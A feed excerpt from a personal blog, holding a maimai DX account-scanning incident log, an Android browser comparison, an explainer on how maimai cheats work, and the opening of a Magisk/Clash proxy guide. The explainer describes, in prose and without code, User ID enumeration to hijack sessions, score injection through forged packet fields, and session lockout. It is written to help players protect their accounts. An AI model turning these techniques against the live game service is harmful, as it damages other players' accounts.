&lt;h3&gt;As of 9:01 p.m., the cheaters have finally calmed down and tickets are no longer being handed out. So that&apos;s the end of this.... right?&lt;/h3&gt;
&lt;h2&gt;Monday, September 8&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;caution&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The following content comes from various group chat logs and has not been verified; Chongxi takes no responsibility for its authenticity&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Someone reported being sent 白系理论&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Chongxi guesses it&apos;s someone putting on a one-man show for their own amusement — sending themselves a result and making up an entire story from one screenshot. After all, we already had the Kaleidoscope lesson above. Of course, that&apos;s just a guess; it could well be real&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Someone reported being sent a wec plate&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Since the authenticity of these matters is unverified, I&apos;ll just touch on them briefly for now. I&apos;ll keep updating if there&apos;s more.&lt;/p&gt;
&lt;h2&gt;Account-scanning solutions&lt;/h2&gt;
&lt;p&gt;Here are the current solutions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;milkbot — can check ticket counts and clear tickets; for usage see the link given at the bottom of &lt;a href=&quot;/en/posts/toolsForMaimai/&quot;&gt;this article&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;奈伊bot — group number: 747686616; supports clearing/checking tickets and getting out of the little black room&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;You&apos;re welcome to send me more solutions&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;My highest respect to everyone working to keep the game environment healthy.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Why can you be scanned even without leaking your QR code?&lt;/h2&gt;
&lt;p&gt;The cheaters log into your account via your User ID, as mentioned before — see &lt;a href=&quot;/en/posts/toolsForMaimai/&quot;&gt;this article&lt;/a&gt; for details.&lt;/p&gt;
&lt;p&gt;The only way not to be logged into by the cheaters is to not get a QR code at all.&lt;/p&gt;
</content:encoded><category>maimai</category><category>游戏安全</category><author>Chongxi</author></item><item><title>Android&apos;s Baffling Array of Browsers</title><link>https://xice.cx/en/posts/browserOnAndroid/</link><guid isPermaLink="true">https://xice.cx/en/posts/browserOnAndroid/</guid><description>Chrome/Firefox/Via/Edge... Which Android browser is the best choice? A full comparison of engines, privacy and features</description><pubDate>Tue, 02 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Android is full of diversity. Unlike iOS, where every browser is built on the Safari engine, most browsers on Android can use their own engines, offering a distinctive experience&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;tip&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Unless otherwise stated, every browser mentioned in this post refers to the Android platform&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;OEM custom browsers&lt;/h2&gt;
&lt;p&gt;Thanks to Android&apos;s openness, the default browser on the phone you get is often not Chrome, but a custom browser &quot;carefully crafted&quot; by the OEM. Mi Browser, Huawei Browser and so on.&lt;/p&gt;
&lt;h3&gt;Samsung Internet&lt;/h3&gt;
&lt;p&gt;The cream of the crop among OEM browsers. Built on the &lt;code&gt;Blink&lt;/code&gt; engine with a unified &lt;code&gt;OneUI&lt;/code&gt; design. Its features:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Anti-tracking&lt;/strong&gt;: blocks trackers, third-party cookies and more.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Anti-nuisance&lt;/strong&gt;: reverse redirection for back navigation, popup blocking, app-jump interception.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ad blocking&lt;/strong&gt;: supports installing third-party ad-blocking extensions&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Video assistant&lt;/strong&gt;: an excellent video playback experience&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Background playback&lt;/strong&gt;: lets you play videos in the background without YouTube Premium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Force dark&lt;/strong&gt;: excellent forced dark mode for websites&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Samsung Pass&lt;/strong&gt;: Samsung&apos;s own autofill service, &lt;strong&gt;but Google autofill doesn&apos;t work&lt;/strong&gt;, which is why I gave up on it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Region lock&lt;/strong&gt;: Samsung devices in the China region can&apos;t use Google as the search engine; you have to change regions.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Domestic OEM browsers&lt;/h3&gt;
&lt;p&gt;Domestic OEM browsers are... hard to rate. Put diplomatically, they have &quot;excellent localization&quot;.&lt;/p&gt;
&lt;p&gt;Whether it&apos;s &lt;code&gt;Xiaomi/Huawei/vivo/OPPO&lt;/code&gt; or any other &lt;code&gt;domestic OEM&lt;/code&gt;, they&apos;re basically all the same: the homepage is stuffed with news, novels, comics, short videos, livestreams and so on — extremely bloated.&lt;/p&gt;
&lt;p&gt;The upside is that it works out of the box and matches domestic users&apos; habits.&lt;/p&gt;
&lt;p&gt;The downsides are obvious: vague privacy policies, lots of ads, bloated features, and an engine that&apos;s usually half a step behind Chromium&apos;s builds. Some vendors even stuff blacklists and whitelists into your browser, silently filtering out certain sites so you can&apos;t visit them, or uploading your browsing history straight to their servers.&lt;/p&gt;
&lt;h3&gt;In-app browsers&lt;/h3&gt;
&lt;p&gt;Many apps like to wrap their own extra browser inside themselves, which brings us to Android&apos;s &lt;code&gt;Webview&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Android Webview&lt;/strong&gt;: the in-app browser in most apps relies on it. It isn&apos;t an app you can open directly; it&apos;s a system component.&lt;/p&gt;
&lt;p&gt;When you open a link inside an app, this is the WebView being invoked.&lt;/p&gt;
&lt;h3&gt;Domestic browsers&lt;/h3&gt;
&lt;p&gt;This category has a huge market share in China — QQ Browser, for example. They&apos;re mostly based on Chromium/WebKit but heavily modified. For instance, they deeply integrate downloads, novel mode, cloud storage and the like, which makes them better in certain scenarios, such as reading novels.&lt;/p&gt;
&lt;p&gt;The downside is very obvious: privacy. What they offer is not a plain browser experience. On top of that, support for modern web standards sometimes lags behind Chrome and Firefox.&lt;/p&gt;
&lt;h2&gt;The two mountains you can&apos;t get past: Chrome vs. Edge&lt;/h2&gt;
&lt;h3&gt;Google Chrome&lt;/h3&gt;
&lt;p&gt;The culmination of the Google ecosystem. Its advantage isn&apos;t just the excellent Google ecosystem on Android devices; it can almost be called the best browser available today — the best engine, broad compatibility and other strengths make it the browser with the highest market share. &lt;em&gt;Chongxi uses Chrome mainly because of Google&apos;s autofill service.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The downside is its higher resource usage — it&apos;s a bit of a performance hog. The feature set on mobile really is rather sparse. On privacy, it requires a fair amount of trust in Google.&lt;/p&gt;
&lt;h3&gt;Microsoft Edge&lt;/h3&gt;
&lt;p&gt;Edge is more or less Chrome&apos;s sibling, also using the Chromium engine and inheriting its excellent rendering engine.&lt;/p&gt;
&lt;p&gt;Its biggest selling point is deep sync integration with Windows PCs. If you mainly use a Windows computer, the phone-to-PC sync Edge offers is every bit as good as Chrome&apos;s.&lt;/p&gt;
&lt;p&gt;I think Edge gives users who don&apos;t want to be tied down to the Google suite a top-tier option.&lt;/p&gt;
&lt;p&gt;Its downsides are also very obvious now: it&apos;s started to follow in the footsteps of domestic rogue software, stuffing in a pile of irrelevant things like news feeds and AI, and Microsoft&apos;s taste really is terrible — it looks far uglier than Chrome.&lt;/p&gt;
&lt;h2&gt;A distinctive third option&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Beyond the giants, there&apos;s a world of innovation.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Mozilla Firefox&lt;/h3&gt;
&lt;p&gt;The mainstream browser on Android that uses its own &lt;code&gt;GeckoView&lt;/code&gt; engine.&lt;/p&gt;
&lt;p&gt;Its strengths stand out: powerful browser extensions, strict tracking protection, and container tabs &lt;code&gt;that isolate login states for different identities such as work and personal, preventing cross-site tracking&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If you care about privacy, Firefox is absolutely the way to go.&lt;/p&gt;
&lt;h3&gt;Vivaldi Browser&lt;/h3&gt;
&lt;p&gt;Built by the former Opera team, and it inherits &lt;code&gt;a high degree of customizability&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Chongxi used it for a while and found it pretty good. It supports Google autofill and its interaction logic is very close to Chrome&apos;s, so switching over from Chrome cost me nothing.&lt;/p&gt;
&lt;h3&gt;Brave Browser&lt;/h3&gt;
&lt;p&gt;Brave blocks all ads and trackers by default, and it&apos;s extremely fast.&lt;/p&gt;
&lt;p&gt;Its controversial side, though, is that it tries to reshape how websites make money using an &lt;code&gt;attention economy&lt;/code&gt; model. Whether or not you agree with the model, its privacy protection and speed are worth a try.&lt;/p&gt;
&lt;h3&gt;Kiwi Browser&lt;/h3&gt;
&lt;p&gt;The first to support &lt;code&gt;desktop Chrome extensions&lt;/code&gt; on Android. But it seems to be somewhat dead now.&lt;/p&gt;
&lt;h3&gt;DuckDuckGo&lt;/h3&gt;
&lt;p&gt;&lt;s&gt;Duck, duck, run&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;Like its search engine, its browser app is extremely privacy-focused: it automatically clears browsing data every day, has a one-tap burn button that wipes all records at once, and also offers app tracking protection, all in a very light and clean experience.&lt;/p&gt;
&lt;h3&gt;via&lt;/h3&gt;
&lt;p&gt;Via is a &lt;code&gt;pure&lt;/code&gt; browser that returns to the essence of browsing the web.&lt;/p&gt;
&lt;p&gt;It calls Android&apos;s built-in &lt;code&gt;WebView&lt;/code&gt; engine directly to render pages. That means it doesn&apos;t need to bundle a huge engine, giving it extreme control over install package size.&lt;/p&gt;
&lt;p&gt;It&apos;s also quite fun to tinker with — user scripts, customization and other features all work great. As a pure browser, it&apos;s outstanding.&lt;/p&gt;
&lt;h3&gt;Tor&lt;/h3&gt;
&lt;p&gt;This is a rather special browser. Its design goal is very pure: hide your network identity and activity as much as possible.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Your traffic no longer reaches the target website directly; instead it enters the &lt;code&gt;Tor network&lt;/code&gt;. There, your traffic is automatically encrypted three times and relayed through at least three randomly chosen relay nodes before finally leaving via an &lt;code&gt;exit node&lt;/code&gt; to reach the destination site. That means the target website only sees the IP address of the exit node, not your real IP.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Its main purpose is accessing hidden services with the &lt;code&gt;.onion&lt;/code&gt; suffix — that is, the &lt;code&gt;dark web&lt;/code&gt;. It&apos;s very inconvenient for everyday use, because traffic has to be relayed multiple times and is slow.&lt;/p&gt;
&lt;h2&gt;Autofill&lt;/h2&gt;
&lt;p&gt;This is the dividing line in experience. Chrome and Edge&apos;s autofill is undoubtedly the most seamless, sparing you the hassle of typing passwords by hand — an excellent experience.&lt;/p&gt;
&lt;p&gt;For other browsers, I strongly recommend a standalone password manager &lt;code&gt;such as Bitwarden/1Password&lt;/code&gt;. As app extensions, they can provide powerful and consistent autofill for almost any browser, so you&apos;re no longer tied to the browser itself.&lt;/p&gt;
&lt;h2&gt;About me&lt;/h2&gt;
&lt;p&gt;I still use Chrome as my daily driver, because I&apos;m locked into Google.&lt;/p&gt;
&lt;p&gt;Choosing a browser depends heavily on personal habits, so try a few.&lt;/p&gt;
</content:encoded><category>Android</category><category>软件</category><author>Chongxi</author></item><item><title>Random Notes on maimai Cheats and How They Work</title><link>https://xice.cx/en/posts/toolsForMaimai/</link><guid isPermaLink="true">https://xice.cx/en/posts/toolsForMaimai/</guid><description>A full breakdown of maimai DX cheats — how score injection, ticket injection and account scanning work, and how to keep your account safe.</description><pubDate>Wed, 27 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0. Introduction&lt;/h2&gt;
&lt;p&gt;:::yellow[Note]
Every mention of &lt;code&gt;舞萌DX&lt;/code&gt; (maimai DX) in this article refers to the version operated in mainland China by &lt;code&gt;华立科技&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This article was originally &quot;Random notes on maimai cheats and a guide to using third-party tools&quot;, and has now been split into several articles so the levels stay distinct.&lt;/p&gt;
&lt;p&gt;This article is only in-depth maimai research, for study, reference and discussion only. Its main purpose is to teach the wider maimai player base some basic common sense, show you how to protect your Net account, and demonstrate how your account gets destroyed by cheaters. This article does not endorse any form of cheating or hacking.&lt;/p&gt;
&lt;p&gt;Thanks here to every legend who has published their cheats on GitHub and other platforms.
:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1. Basic concepts&lt;/h2&gt;
&lt;h3&gt;1.1 SGWCMAID&lt;/h3&gt;
&lt;p&gt;To log in at a &lt;code&gt;舞萌DX&lt;/code&gt; cabinet, you need to get a QR code from the 「舞萌 | 中二」 official account. Long-press the QR code and the decoded string is the &lt;code&gt;SGWCMAID&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;:::red[Serious warning]
&lt;strong&gt;Never&lt;/strong&gt; leak your SGWCMAID in any public setting&lt;/p&gt;
&lt;p&gt;Provide your SGWCMAID &lt;strong&gt;only&lt;/strong&gt; to people or services you &lt;strong&gt;trust&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;If someone else obtains your &lt;code&gt;SGWCMAID&lt;/code&gt;, it means they have operating permission on your maimai account and can log into it within the valid login window.
:::&lt;/p&gt;
&lt;h3&gt;1.2 Login validity&lt;/h3&gt;
&lt;p&gt;At the bottom of the SGWCMAID page there&apos;s a notice showing how long the QR code is valid. Once it expires, the QR code can no longer be used for cabinet login, and you need to generate a new one.&lt;/p&gt;
&lt;p&gt;QR code validity: about 10 minutes&lt;/p&gt;
&lt;p&gt;Account login validity: about 30 minutes (measured 2025/08/27)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Once about 30 minutes have passed since the last QR code was obtained, the account enters a &quot;frozen&quot; state and cannot be logged into by any means&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The state clears after a new QR code is generated&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;This is a protection mechanism for the account, to prevent abuse by attackers&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.3 User ID&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;User ID&lt;/code&gt; is not a friend code but &lt;s&gt;the maimai national ID card&lt;/s&gt; the account identifier, associated with &lt;code&gt;SGWCMAID&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;You can get the corresponding &lt;code&gt;User ID&lt;/code&gt; from a &lt;code&gt;SGWCMAID&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Having the &lt;code&gt;User ID&lt;/code&gt; also means having permission to operate that account; it can be used to log in or &lt;s&gt;to G-key cheat on your account&lt;/s&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;maimai DX&apos;s &lt;code&gt;User ID&lt;/code&gt; is a sequential counter with a fixed prefix&lt;/li&gt;
&lt;li&gt;So User IDs can be used for enumeration attacks, which explains how cheaters cheat your account, &lt;strong&gt;they enumerate User IDs to log into your account. If your account happens to be within the login validity window and not logged in, then &lt;s&gt;you&apos;re out of luck&lt;/s&gt;. So login validity is Wahlap&apos;s last line of defence; without it, anyone&apos;s account could be logged into at any time&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.4 The black room&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;The maimai server&apos;s login session timeout is &lt;code&gt;15 minutes&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Login must use the &lt;code&gt;timestamp&lt;/code&gt; from when it was generated; logout must also use the corresponding &lt;code&gt;timestamp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;If you don&apos;t &lt;code&gt;log out&lt;/code&gt; properly (e.g. due to server packet loss, high latency or an abnormal crash), the account enters what we call the black room, and you can only wait for the session to time out on its own, or use your tools to clear it&lt;/li&gt;
&lt;li&gt;This is a protection mechanism the server uses to prevent session abuse&lt;/li&gt;
&lt;li&gt;But because maimai&apos;s server latency is high, the actual black room duration can be longer than 15 minutes&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::cyan&lt;/p&gt;
&lt;h4&gt;1.4.1 Format convention&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;SGWCMAID&lt;/code&gt; consists of three parts:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SGWCMAID + 16-digit timestamp (format YYMMDDHHMMSS) + 64-character verification signature
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;The timestamp limits the QR code&apos;s validity&lt;/li&gt;
&lt;li&gt;The 64-character part is an irreversible verification/signature or encryption fragment&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;1.4.2 Server verification flow (some key information redacted)&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Verify locally whether the &lt;code&gt;SGWCMAID&lt;/code&gt; is valid&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The cabinet or client sends the scanned &lt;code&gt;SGWCMAID&lt;/code&gt; to the server&apos;s QR code verification interface&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The server parses the SGWCMAID:&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Checks whether the timestamp falls within the allowed validity window&lt;/li&gt;
&lt;li&gt;Verifies whether the character verification segment is valid&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;Once verification passes, the server returns &lt;code&gt;userID&lt;/code&gt; and possibly other attached information; otherwise it returns an error code and refuses the login&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;1.4.3 session and validity&lt;/h4&gt;
&lt;p&gt;After successful verification the server usually turns that login into a short-lived &lt;code&gt;session&lt;/code&gt;, valid for about 30 minutes (measured 2025/08/27)&lt;/p&gt;
&lt;p&gt;After the session expires or is explicitly logged out, you need to use a new &lt;code&gt;SGWCMAID&lt;/code&gt; to log in again&lt;/p&gt;
&lt;p&gt;If the session validity passes and no new QR code has been obtained, the account is put into the &quot;frozen&quot; state and you need to obtain a QR code to clear it&lt;/p&gt;
&lt;h4&gt;1.4.4 Why you can&apos;t leak it&lt;/h4&gt;
&lt;p&gt;SGWCMAID is essentially a one-time login credential: &lt;strong&gt;within the validity window the holder can be identified by the server and obtain the corresponding userID, thereby gaining operating permission on the account&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Although the character verification is irreversible, a leaked one can still be accepted directly by the server (as long as the timestamp hasn&apos;t expired), so it must be kept strictly secret&lt;/p&gt;
&lt;h4&gt;1.4.5 Crushing your illusions&lt;/h4&gt;
&lt;p&gt;The structure of SGWCMAID and the server-side verification are irreversible and time-limited, so you can&apos;t reliably &lt;strong&gt;work out&lt;/strong&gt; the userID locally just by decoding (the server has to return it)&lt;/p&gt;
&lt;p&gt;&lt;em&gt;At least that&apos;s how it is right now&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The same &lt;code&gt;SGWCMAID&lt;/code&gt; can be accepted directly by the server within its validity window, unless a new QR code is obtained or the QR code expires. If someone beats you to it and uses the leaked &lt;code&gt;SGWCMAID&lt;/code&gt; to get the User ID, then good luck to you.
:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. Cheats&lt;/h2&gt;
&lt;p&gt;Maimai cheats come in many varieties. Strictly speaking, &lt;code&gt;HDD&lt;/code&gt;, &lt;code&gt;Bot&lt;/code&gt;, &lt;code&gt;score trackers&lt;/code&gt;, &lt;code&gt;hacks&lt;/code&gt; and so on all count as cheats, because they all more or less use &lt;strong&gt;non-official channels&lt;/strong&gt; to obtain server information or the program itself; the only question is whether the effect is good or bad.&lt;/p&gt;
&lt;p&gt;Let&apos;s focus on &lt;code&gt;hacks&lt;/code&gt; first — the thing every maimai player should worry about&lt;/p&gt;
&lt;h3&gt;2.1 Hacks&lt;/h3&gt;
&lt;p&gt;The hacks we know of today do the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Score injection&lt;/strong&gt; &lt;em&gt;writes specified song scores into the account&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bulk planting&lt;/strong&gt; &lt;em&gt;writes scores in bulk (for a given difficulty/version etc.)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ticketing&lt;/strong&gt; &lt;em&gt;issues &quot;compensation&quot; 2/3/4/5/6x progress tickets to your account&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Song unlocking&lt;/strong&gt; &lt;em&gt;unlocks locked songs (e.g. the purple chart difficulty)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Map unlocking&lt;/strong&gt; &lt;em&gt;unlocks maps (e.g. the lunar surface area)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Map running&lt;/strong&gt; &lt;em&gt;as the name suggests&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check-in&lt;/strong&gt; &lt;em&gt;stamp card check-ins&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Collectible unlocking&lt;/strong&gt; &lt;em&gt;including but not limited to name frames / titles / avatars / partners / backgrounds / function tickets&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Editing Dance Mileage&lt;/strong&gt; &lt;em&gt;the Dance Mileage shop added in DX2025, where mileage can be used to buy function tickets and other items&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::cyan&lt;/p&gt;
&lt;h4&gt;2.1.1 Overview&lt;/h4&gt;
&lt;p&gt;The essence is: &lt;strong&gt;within a valid session, write the user&apos;s scores or collectibles and so on directly to the server&lt;/strong&gt;. This is not the normal play flow.&lt;/p&gt;
&lt;p&gt;Take the most common case, score injection:
A cheater will typically construct and &lt;code&gt;send packets&lt;/code&gt; to the server, setting the target fields in the &lt;code&gt;packet&lt;/code&gt; (such as &lt;code&gt;musicId&lt;/code&gt;, &lt;code&gt;level&lt;/code&gt;, &lt;code&gt;achievement&lt;/code&gt; etc.) to insert or replace scores&lt;/p&gt;
&lt;p&gt;Then there&apos;s black-room account scanning:
Enumeration scanning means an attacker predicts or sequentially probes &lt;code&gt;User ID&lt;/code&gt;s, combined with acceptable temporary credentials or weak login paths, to rapidly attempt logins across a large number of accounts&lt;/p&gt;
&lt;p&gt;If a tested account happens to be &lt;strong&gt;within its valid login window&lt;/strong&gt;, the attacker can directly obtain that account&apos;s session and log in, then not actively perform a &lt;code&gt;logout&lt;/code&gt;, which stops that player from playing normally. More advanced attackers also &lt;code&gt;auto-continue&lt;/code&gt;, keeping the account locked for more than fifteen minutes — in serious cases, in units of hours&lt;/p&gt;
&lt;p&gt;The mainland &quot;social engineering database&quot;
There are already attackers who, using your &lt;code&gt;rating&lt;/code&gt;, &lt;code&gt;avatar&lt;/code&gt;, &lt;code&gt;name frame&lt;/code&gt;, &lt;code&gt;background&lt;/code&gt;, &lt;code&gt;nickname&lt;/code&gt; and other information, can query an &lt;code&gt;account database&lt;/code&gt; to work backwards to your User ID and file your information into a database; some attackers are already selling these services on platforms like Xianyu
:::&lt;/p&gt;
&lt;p&gt;:::blue[How to protect your account]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Don&apos;t send your QR code/SGWCMAID in untrusted public settings&lt;/li&gt;
&lt;li&gt;Don&apos;t casually fetch QR codes outside of your play sessions&lt;/li&gt;
&lt;li&gt;When posting b50, hide unnecessary information like your nickname as much as possible
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2.2 HDD/app&lt;/h3&gt;
&lt;p&gt;The game program proper that runs on a maimai DX cabinet. &lt;code&gt;app&lt;/code&gt; is the game program the official cabinet runs; &lt;code&gt;HDD&lt;/code&gt; is generally used to run on unofficial cabinets such as home setups, and may come with some mod features, such as &lt;code&gt;Auto Play&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The legal risk this brings is borne by the user&lt;/p&gt;
&lt;h3&gt;2.3 opt&lt;/h3&gt;
&lt;p&gt;Updates the server pushes to cabinets come as &lt;code&gt;.opt&lt;/code&gt; files, containing the content of the update being pushed, such as &lt;code&gt;song data&lt;/code&gt; and other information&lt;/p&gt;
&lt;p&gt;&lt;code&gt;push time&lt;/code&gt; The time an opt is pushed and the cabinet is notified to download this update
&lt;code&gt;release time&lt;/code&gt; The time the cabinet applies this update&lt;/p&gt;
&lt;p&gt;Even if a cabinet has downloaded the opt it won&apos;t update immediately; it only updates once the release time is reached&lt;/p&gt;
&lt;p&gt;:::details[cyan::Some notes on the mainland server in 2025]
On the first day of the DX2025 update, I&apos;m sure you all saw &lt;code&gt;KALEID×SCOPE&lt;/code&gt; leaking early on the Net official account. The reason was that the cheater &lt;code&gt;*2372462&lt;/code&gt; uploaded data for four gates, and the server didn&apos;t block the gates in time, which caused this to happen&lt;/p&gt;
&lt;p&gt;Fun fact:
The DX2025 cabinet program already contains some data up to Prism, such as collectibles and the code related to Kaleidoscope mode, but no song data — it&apos;s just meant to be unlocked gradually according to SEGA&apos;s update schedule. If you&apos;re able to push an opt with song data to the cabinet, you can play it early, which also explains how the previously circulated mainland content like 宙天 was done
:::&lt;/p&gt;
&lt;h3&gt;2.4 Third-party servers&lt;/h3&gt;
&lt;p&gt;As far as the author knows, the following third-party servers exist:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Relay servers: for transit purposes, acting as a man-in-the-middle proxy to speed up loading from Wahlap&apos;s servers&lt;/li&gt;
&lt;li&gt;Plain private servers&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.5 Third-party score trackers/bots&lt;/h3&gt;
&lt;p&gt;Their main use is helping players see their Best50 and other play results. The mainstream trackers are &lt;code&gt;落雪查分器&lt;/code&gt; and &lt;code&gt;水鱼查分器&lt;/code&gt;; there are too many bots to count, but they serve the same purpose&lt;/p&gt;
&lt;h3&gt;2.6 Home cabinets&lt;/h3&gt;
&lt;p&gt;Machines built by third-party players that closely simulate the official cabinet&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. Notes&lt;/h2&gt;
&lt;p&gt;The section on using third-party score trackers has been moved to a new article, to be added later&lt;/p&gt;
&lt;p&gt;For real examples of cheaters scanning accounts, see this article on this blog: &lt;a href=&quot;/en/posts/maiLog20250906/&quot;&gt;mai Chronicles: September&apos;s Mass Account Scanning and the Chinese Server Kaleidoscope Incident&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>maimai</category><category>游戏安全</category><author>Chongxi</author></item><item><title>Running Clash at the System Level on Android</title><link>https://xice.cx/en/posts/boxForMagisk/</link><guid isPermaLink="true">https://xice.cx/en/posts/boxForMagisk/</guid><description>Magisk + Clash system-level transparent proxy: a complete solution for bypassing VPN detection.</description><pubDate>Tue, 26 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Disclaimer&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;caution&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The content of this article is for technical research and study purposes only, intended to help developers and others gain a deeper understanding of how network proxies, traffic routing and similar mechanisms work. The author is not responsible for the consequences of any improper use. Commercial use is strictly prohibited.&lt;/p&gt;
&lt;p&gt;You must ensure that all operations comply with the laws and regulations of your country or region. This article firmly opposes and condemns any use of network proxy technology to bypass legitimate network controls, access illegal content or engage in any illegal activity.&lt;/p&gt;
&lt;p&gt;The operations covered in this article require modifying Android&apos;s low-level system and carry potential risks (such as bricking the device, data loss, system instability, etc.). All operations are based on your voluntary choice and you bear all risks yourself. The author is not responsible for any device problems or legal disputes caused by following the steps in this article.&lt;/p&gt;
&lt;p&gt;This article is aimed at users with sufficient background knowledge and risk awareness. Before trying anything, make sure you understand basic concepts such as root. If you don&apos;t know what you&apos;re doing, stop right now.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;INTRO&lt;/h2&gt;
&lt;p&gt;Before we start, let&apos;s briefly compare a conventional proxy with &lt;code&gt;box4magisk&lt;/code&gt;.
&lt;a href=&quot;https://github.com/CHIZI-0618/box4magisk&quot;&gt;CHIZI-0618/box4magisk&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;CLASH FOR ANDROID&lt;/h3&gt;
&lt;p&gt;Take the most common one, &lt;code&gt;Clash for Android&lt;/code&gt;. It usually works by calling the &lt;code&gt;VPN Service API&lt;/code&gt; provided by the Android system.&lt;/p&gt;
&lt;p&gt;When you start the proxy in CFA (Clash For Android), the app asks the system to create a virtual VPN interface, which requires user authorization. Android then redirects traffic from almost every app on the device to this interface.&lt;/p&gt;
&lt;p&gt;In essence CFA is just a shell for more convenient interaction with the user; the actual traffic processing is done by the Clash core.&lt;/p&gt;
&lt;p&gt;The Clash core checks all passing traffic against the rules you configured, and decides where that traffic goes based on the rule match results.&lt;/p&gt;
&lt;h3&gt;BOX4MAGISK&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;box4magisk&lt;/code&gt; uses magisk/KernelSU/APatch to deploy Clash in &lt;code&gt;data/adb/&lt;/code&gt;, deeply integrating it into Android&apos;s network stack and achieving traffic interception with higher privileges.&lt;/p&gt;
